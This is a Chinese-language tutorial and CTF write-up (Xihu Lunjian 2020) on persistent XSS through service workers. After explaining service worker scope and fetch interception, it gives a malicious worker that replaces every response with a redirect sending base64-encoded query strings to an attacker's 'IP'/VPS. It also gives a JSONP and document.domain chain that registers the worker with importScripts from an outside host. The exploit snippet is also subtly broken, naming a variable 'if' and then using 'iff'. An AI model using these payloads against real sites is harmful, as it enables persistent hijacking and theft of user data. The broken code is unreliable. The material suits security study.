持久化XSS基础 —— xss with service worker

service worker 的简介

service worker的概念

Service worker是一个注册在指定源和路径下的事件驱动worker。它采用JavaScript控制关联的页面或者网站,拦截并修改访问和资源请求,细粒度地缓存资源。你可以完全控制应用在特定情形(最常见的情形是网络不可用)下的表现。

Service worker运行在worker上下文,因此它不能访问DOM。相对于驱动应用的主JavaScript线程,它运行在其他线程中,所以不会造成阻塞。它设计为完全异步,同步API(如XHRlocalStorage)不能在service worker中使用。

出于安全考量,Service workers只能由HTTPS(出于调试方便,还支持在localhost使用),毕竟修改网络请求的能力暴露给中间人攻击会非常危险。在Firefox浏览器的用户隐私模式,Service Worker不可用。

官方文档

1、只能注册同源下的js

2、站内必须支持Secure Context,也就是站内必须是https://或者http://localhost/

3、Content-Type必须是js

  • text/javascript
  • application/x-javascript
  • application/javascript

总之service worker就是一个介于服务端和客户端的一个 代理服务器。

service worker的基本架构

生命周期

service worker是通过serviceWorkerContainer.register() 来获取和注册的

image-20201031134706014

关于Promise

Promise 对象用于表示一个异步操作的最终完成 (或失败)及其结果值。其精髓是支持链式调用。

必然是以下三种状态之一

  • 待定(pending): 初始状态,既没有被兑现,也没有被拒绝。
  • 已兑现(fulfilled): 意味着操作成功完成。
  • 已拒绝(rejected): 意味着操作失败。

整个生命流程大致为下面的的几个步骤:

image-20201031131851448

支持的事件

image-20201031132732725

service worker的作用域

  • service worker 只能抓取在 service worker scope 里从客户端发出的请求。
  • 最大的 scope 是 service worker 所在的地址
  • 如果你的 service worker 被激活在一个有 Service-Worker-Allowed header 的客户端,你可以为service worker 指定一个最大的 scope 的列表。
  • 在 Firefox, Service Worker APIs 在用户在 用户隐私模式 下会被隐藏而且无法使用。

整个service worker的作用域默认是service woker 注册的脚本的路径。这个作用也可以使用跨域的方法扩展。

service worker控制页面返回响应

fetch事件

使用ServiceWorker技术时,页面的提取动作会在ServiceWorker作用域(ServiceWorkerGlobalScope)中触发fetch事件.

service worker可以监听fetch事件来达到篡改返回,对页面嵌入恶意的srcipt脚本。

几个函数
  • WorkerGlobalScope.addEventListener(type,listener,option)

    image-20201101192113623

  • event.respondwith(任何自定义的响应生成代码)

    这个方法的目的是包裹段可以生成、返回response对象的代码,来控制响应。

  • Response(body,init)

    image-20201101193028796

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//这个脚本可以将service worker作用域下的所有请求的url参数打到我的vps上。
//当然你也可以通过返回其他的东西来达到其他的目的。

self.addEventListener('install',function(event){
console.log('install ok!');
})
self.addEventListener('fetch',function(event){
console.log(event.request);
event.respondWith(
caches.match(event.request).then(function(res){
return new Response('<script>location="http://IP?"+btoa(location.search)</script>', {headers: { 'Content-Type': 'text/html' }})
})
)
})

service worker的简单利用

JSONP+service worker

经过的介绍,知道了service worker只能使用同源的脚本注册,那么熟悉xss的师傅就很容易想到通过跨域来实现注册恶意脚本,那么JSONP就是一个好的搭配,因为jsonp的返回值都是js格式的,十分符合service worker的要求。

西湖论剑2020的 jsonp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//这段代码最终的效果就是在页面上生成一个
// <script src="https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=输入的参数"></script>
//标签

callback = "get_user_login_status";
auto_reg_var();//获取url参数
if(typeof(jump_url) == "undefined" || /^\//.test(jump_url)){
jump_url = "/";
}
jsonp("https://auth.hardxss.xhlj.wetolink.com/api/loginStatus?callback=" + callback,function(result){
if(result['status']){
location.href = jump_url;
}
})
function jsonp(url, success) {
var script = document.createElement("script");
if(url.indexOf("callback") < 0){
var funName = 'callback_' + Date.now() + Math.random().toString().substr(2, 5);
url = url + "?" + "callback=" + funName;
}else{
var funName = callback;
}
window[funName] = function(data) {
success(data);
delete window[funName];
document.body.removeChild(script);
}
script.src = url;
document.body.appendChild(script);
}
function auto_reg_var(){
var search = location.search.slice(1);
var search_arr = search.split('&');
for(var i = 0;i < search_arr.length; i++){
[key,value] = search_arr[i].split("=");
window[key] = value;
}
}

文件上传+service worker

如果有文件上传的点,可以尝试上传恶意js脚本,一般来说上传的js代码也是js格式的。

service worker综合跨域扩展攻击

西湖论剑2020xss

在这个环境里面,有两个域名auth.hardxss.xhlj.wetolink.comxss.hardxss.xhlj.wetolink.com

jsop的点在 auth 子域名里面,xss的点在 xss 子域名里面,并且在xss页面有一个设置document.domian=hardxss.xhlj.wetolink.com

的内容。

1
2
3
<script type="text/javascript">
document.domain = "hardxss.xhlj.wetolink.com";
</script>

我们就可以尝试使用设置doucment.domain的方法来实行

1
2
3
4
5
6
7
8
9
document.domain = "hardxss.xhlj.wetolink.com";
var if = document.createElement('iframe');
if.src = 'https://auth.hardxss.xhlj.wetolink.com/';
if.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(if);
exp = `navigator.serviceWorker.register("/api/loginStatus?callback=self.importScripts('vps/test.js')")`;//获取代码,要求https
function iffLoadover(){
iff.contentWindow.eval(exp);//注册代码
}

test.js

1
2
3
4
5
6
7
8
9
10
11
self.addEventListener('install',function(event){
console.log('install ok!');
})
self.addEventListener('fetch',function(event){
console.log(event.request);
event.respondWith(
caches.match(event.request).then(function(res){
return new Response('<script>location="http://IP?"+btoa(location.search)</script>', {headers: { 'Content-Type': 'text/html' }})
})
)
})